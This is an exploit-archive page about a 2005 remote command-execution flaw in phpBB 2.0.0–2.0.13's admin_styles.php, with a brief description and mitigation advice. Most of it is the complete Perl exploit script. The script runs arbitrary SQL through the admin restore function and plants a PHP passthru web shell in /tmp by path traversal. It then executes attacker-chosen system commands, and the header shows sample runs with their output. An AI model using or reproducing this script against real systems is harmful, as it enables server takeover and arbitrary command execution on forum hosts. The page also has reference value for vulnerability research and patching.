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phpBB
by:
1dt.w0lf
7.5
CVSS
HIGH
phpBB admin_styles.php commands execution exploit
CWE
Product Name: phpBB
Affected Version From: phpBB 2.0.0
Affected Version To: phpBB 2.0.13
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
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Platforms Tested:
2005

r57phpbb_admin2exec.pl

This exploit allows an attacker to execute commands on a phpBB forum through the admin_styles.php file. It has been tested on phpBB version 2.0.13. The exploit works by creating a new style and running SQL queries in the database. The attacker can then execute commands through the created file. The exploit also has the ability to retrieve the database prefix.

Mitigation:

Upgrade to a newer version of phpBB that has patched this vulnerability. Additionally, ensure that the admin_styles.php file is properly secured and access to it is restricted.
Source

Exploit-DB raw data:

#!/usr/bin/perl

### r57phpbb_admin2exec.pl                                                      
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### phpBB admin_styles.php commands execution exploit                           
### tested on phpBB 2.0.13                                                      
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### by 1dt.w0lf                                                                 
### RST/GHC                                                                     
### http://rst.void.ru                                                          
### http://ghc.ru                                                               
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### screen
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c get_prefix
### -----------------------------------------------------------------------------------
### [~] Try to get prefix ...[ DONE ]
### PREFIX : phpbb_
### -----------------------------------------------------------------------------------
### 
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -P phpbb_
### -----------------------------------------------------------------------------------
### [!] Method 2 - use "create\export style"
### [~] Try to run sql query in database ... [ DONE ]
### [~] Creating new style ... [ DONE ]
### [~] Creating file ... [ DONE ]
### [+] File successfully created! Now you can try execute command!
### [~] Delete style from database ... [ DONE ]
### -----------------------------------------------------------------------------------
### 
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c "uname -sr; id"
### -----------------------------------------------------------------------------------
### FreeBSD 5.3-RELEASE
### uid=80(www) gid=80(www) groups=80(www)
### -----------------------------------------------------------------------------------
### 20.04.2005

use LWP::UserAgent;
use Getopt::Std;

getopts("p:s:P:c:m:");

$path   = $opt_p;
$sid    = $opt_s;
$prefix = $opt_P || 'phpbb_'; 
$cmd    = $opt_c || 'create'; 
$method = $opt_m || 2;        

#################### LITTLE CONFIG
# forum on win or unix? commands split by ; or &&
$cmdspl = ';'; # unix
# filename for create. default is 'theme_info.cfg' for include in admin_styles.php?mode=addnew
# DONT CHANGE if you don't know that you do!!!
$filename = '/theme_info.cfg';
# folder for create file, we need folder writable for apache user, by default we use /tmp
$dir = '../../../../../../../../../../../../../../../../../../../../../tmp';
#################### END CONFIG

if(!$path || !$sid) { &usage; }

$xpl = LWP::UserAgent->new() or die;

if($cmd eq 'clear')
 {
 &show_header;
 print "-----------------------------------------------------------------------------------\n";
 print "[~] Clearing database ... ";
 $sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="" AND template_name="";'; 
 $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
 if(!$suc) { print " [ FAILED ]\n"; exit(); }
 if($suc == 1) { print " [ DONE ]\n"; }
 print "-----------------------------------------------------------------------------------\n";
 exit();
 }

if($cmd eq 'create' && $method == 1)
 {
 &show_header;
 print "-----------------------------------------------------------------------------------\n";
 print "[!] Method 1 - use \"INTO OUTFILE\"\n";
 print "[!] Create file for including.\n";
 print "[~] Try to run sql query in database...";
 $sql   = 'SELECT \'<? passthru($_POST[jagajaga]); ?>\' FROM '.$prefix.'users LIMIT 1 INTO OUTFILE \''.$dir.$filename.'\';';
 $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
 if(!$suc) { print " [ FAILED ]\n"; exit(); }
 if($suc == 2) { print " [ DONE ]\n[!] File already exists! Now you can try execute command!\n"; }
 if($suc == 1) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; }
 print "-----------------------------------------------------------------------------------\n";
 exit();
 }

if($cmd eq 'get_prefix')
 {
 &show_header;
 print "-----------------------------------------------------------------------------------\n";
 print "[~] Try to get prefix ...";
 $res = $xpl->get(
 "${path}admin_db_utilities.php?perform=backup&additional_tables=&backup_type=structure&drop=0&backupstart=1&gzipcompress=0&startdownload=1&sid=$sid"
 );
 if($res->is_success && $res->content =~ /(TABLE: )(.*)(auth_access)/)
  { 
  $prefix = ($2)?($2):("No prefix");
  print "[ DONE ]\nPREFIX : $prefix\n"; 
  }
 else { print "[ FAILED ]\n"; }
 print "-----------------------------------------------------------------------------------\n";
 exit(0);
 }

if($cmd eq 'create' && $method == 2)
 {
 &show_header;
 print "-----------------------------------------------------------------------------------\n";
 print "[!] Method 2 - use \"create\\export style\"\n";
 print "[~] Try to run sql query in database ...";
 $sql   = 'ALTER TABLE `'.$prefix.'themes` CHANGE `template_name` `template_name` VARCHAR( 255 ) NOT NULL;';
 $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
 if(!$suc) { print " [ FAILED ]\n"; exit(); }
 if($suc == 1) { print " [ DONE ]\n"; }
 print "[~] Creating new style ...";
 $res = $xpl->post(
  "${path}admin_styles.php?sid=$sid",
  [
    'style_name'    => '0wn',
    'template_name' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir,
    'mode'          => 'create',
    'submit'        => 'Save Settings'
  ],
 );
 if($res->is_success){ print " [ DONE ]\n[~] Creating file ..."; }
 else { print " [ FAILED ]\n"; exit(0); }
 $res = $xpl->post(
  "${path}admin_styles.php?sid=$sid",
  [
    'export_template' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir,
    'mode'            => 'export',
    'edit'            => 'Submit'
  ],
 );
 if($res->is_success) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; }
 else { print " [ FAILED ]\n"; exit(0); }
 print "[~] Delete style from database ...";
 $sql   = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="0wn";';
 &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
 print " [ DONE ]\n";
 print "-----------------------------------------------------------------------------------\n";
 exit(0);
 }

$jagajaga  = 'echo _GHC/RST_ ';
$jagajaga .= $cmdspl;
$jagajaga .= $cmd;
$jagajaga .= $cmdspl;
$jagajaga .= ' echo _GHC/RST_';

$res = $xpl->post(
 "${path}admin_styles.php?mode=addnew&sid=${sid}&install_to=${dir}",
  [
  'jagajaga' => "$jagajaga"
  ]
 );

&show_header;

if($res->content =~ /main\(\): Failed opening/) { print "[-] Error!\nFailed include file! Maybe you forgot create shell file first?\n"; exit(); }

@rez = split("_GHC/RST_",$res->content);
print "-----------------------------------------------------------------------------------\n";
print @rez[1];
print "-----------------------------------------------------------------------------------\n";

sub usage(){
 print "-----------------------------------------------------------------------------------\n";
 print "          phpBB admin_styles.php command execution exploit by 1dt.w0lf\n";
 print "-----------------------------------------------------------------------------------\n";
 print "Usage: $0 [options]\n";
 print "\nOptions:\n\n";
 print " -p  path to phpBB admin interface e.g. http://site.com/phpBB/admin/\n\n";
 print " -s  admin sid ... yeeesss you need admin rights for use this exploit =)\n\n";
 print " -P  database prefix (optional) default \"phpbb_\"\n\n";
 print " -c  [create|clear|get_prefix|(any unix/win command)]\n\n";
 print "     \"create\" for first create shell *default\n";
 print "     \"clear\" for delete our NULL styles from database\n";
 print "     \"get_prefix\" get table prefix\n";
 print "     \"any unix or win commands\" for commands execute =)\n\n"; 
 print " -m  method [1|2] (optional) default \"2\"\n\n";
 print "     1 - use mysql function \"INTO OUTFILE\" for creating new file\n";
 print "     2 - use phpBB functions \"create style\" and \"export style\" for create new file\n";
 print "-----------------------------------------------------------------------------------\n";
 print "           RST/GHC private stuff , http://rst.void.ru , http://ghc.ru\n";
 exit();
}

sub show_header()
{
print "-----------------------------------------------------------------------------------\n";
print "          phpBB admin_styles.php command execution exploit by RST/GHC\n";
print "-----------------------------------------------------------------------------------\n";
}

sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]", 
Content_type => 'form-data',
Content      => [ 
                perform       => 'restore',
                restore_start => 'Start Restore',
                backup_file   => [ 
                                   undef,
                                   '0wneeeeedddd', 
                                   Content_type => 'text/plain',
                                   Content => "$_[1]", 
                                 ],
                ]
);
if ($res->is_success)
 {
 if ($res->content =~ /already exists/) { return 2; }
 if ($res->content =~ /The Database has been successfully restored/) { return 1; }
 }
return 0;
} 

# milw0rm.com [2005-10-11]